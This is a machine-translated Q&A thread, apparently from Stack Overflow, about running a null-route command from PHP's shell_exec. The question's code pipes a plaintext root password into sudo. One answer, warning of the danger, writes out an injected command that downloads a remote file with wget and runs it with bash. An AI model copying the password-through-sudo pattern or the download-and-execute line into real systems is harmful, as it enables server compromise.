我正在尝试路由添加IP(多数路由器为空路由一个ip,意味着,阻止ip将数据包发送到我的服务器。它需要连接到服务器,并运行命令),换句话说,禁止IP
SSH命令
route add 50.50.50.50 gw 127.0.0.1 lo
但我想在php中使用它,使用shell_exec()函数。试试这没有运气。
腓
shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
它没有给我错误,没有。在shell_exec()中运行该命令的正确方法是什么?
答案 0 :(得分:1)
尝试:
$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";
答案 1 :(得分:1)
因此,根据您正在使用的HTTP服务器(nginx,apache等),如果配置正确,这些服务帐户应该无法执行该命令,因为它们没有root级别权限才能执行您想要的更改即使启用了shell_exec也要生成。
您可以通过以root用户身份登录来测试,如果正在运行apache,请运行以下命令:
su - apache (or whatever user apache is running as)
这应该返回。
This account is currently not available.
由于apache用户应配置nologin,理论上不应该工作。但是,您可以通过'useradd'添加用户来测试此行为。
据说..在我的虚拟机上,我为上下文重新创建了这个。我创建了一个测试用户并尝试运行您列出的命令。这是输出(这也是apache用户应该得到的)
[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$
因为您可以看到用户无权执行此操作。与手头的任务相反,这是一件好事。
此外,我个人建议不要这样做,因为shell_exec会导致其他安全问题..特别是如果你授予你的用户权限来执行它。
我注意到的另一件事是你的命令中有sudo。服务用户也不应该有sudo访问权限。如果我能够弄清楚你的PHP脚本在做什么,我可以制作一些漂亮的东西,比如..
shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'");
假设myfile.txt是一个shell,我可以通过你的服务用户来破坏你的服务器,为了让这个工作起来,需要sudo访问。